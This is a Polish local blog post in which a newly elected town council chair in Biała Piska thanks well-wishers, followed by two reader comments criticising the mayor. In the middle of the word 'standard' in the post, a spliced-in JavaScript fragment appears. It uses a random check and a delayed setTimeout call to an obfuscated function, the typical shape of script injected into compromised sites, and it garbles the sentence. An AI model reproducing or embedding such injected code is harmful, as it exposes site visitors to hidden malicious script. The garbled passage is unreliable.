Gratulacje i podziękowania.
Drodzy Czytelnicy.
Dziękuję za kilkadziesiąt telefonów, komentarzy, wpisów, e-maili z gratulacjami. To niesamowicie miłe, że tyle osób o mnie pamięta i mi kibicuje. Obyście mi teŻ pomogli w kształtowaniu nowej rzeczywistości. Bardzo na was liczę! Szczególnie dziękuje za gratulacje, które zostały zamieszczone na stronie facebook Urzędu Miejskiego w Białej Piskiej. Podziękowałbym pod wpisem, ale jestem zablokowany i nie mogę komentować. Taki to nowy standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard w traktowaniu osoby Przewodniczącego Rady Miejskiej. Jeszcze raz bardzo wszystkim dziękuję. To nasz wspólny, wielki dzień. A teraz do roboty. WSZYSCY!.
Panie Marku, ten szczególny sposób komunikacji, który blokuje Radnych to szczyt kompromitacji pracowników Urzędu. Ale sądzę, że pracownicy wykonują czyjeś polecenia. W końcu mają szefa. Czy tam szefową, czy coś w tym stylu. Bo szef chyba powinien mieć klasę, a nie być w klasie. Oglądałem sesję i widziałem jak szefowa, dziękowała i rozpływała się nad odwołanym przewodniczącym. A Panu nawet ręki nie podała. O kim to świadczy? Moja babcie mawiała kiedyś „kiedy posadzisz ziemniaki a przy wykopkach trafi się burak, to znaczy, że albo pomyliłeś działki, albo sadzonkę”. Taki to już świat tych sadzonek buraków, bo posadzisz pan czerwone a wyrośnie zwykły pastewniak. Ale krowy takie lubią najbardziej, bo słodkie. To i mleko lepsze dają. Niech Pan patrzy do przodu. Ludzie w Gminie Panu ufają. Bardzo. Niech Pan tego nie zmarnuje.
Szkoda, ze pani Burmistrz na swoim oficjalnym profilu nie pogratulowała, ba! Nawet nie wspomniała o wyborze nowego przewodniczącego. Widocznie to mniej ważne od regału na używane znicze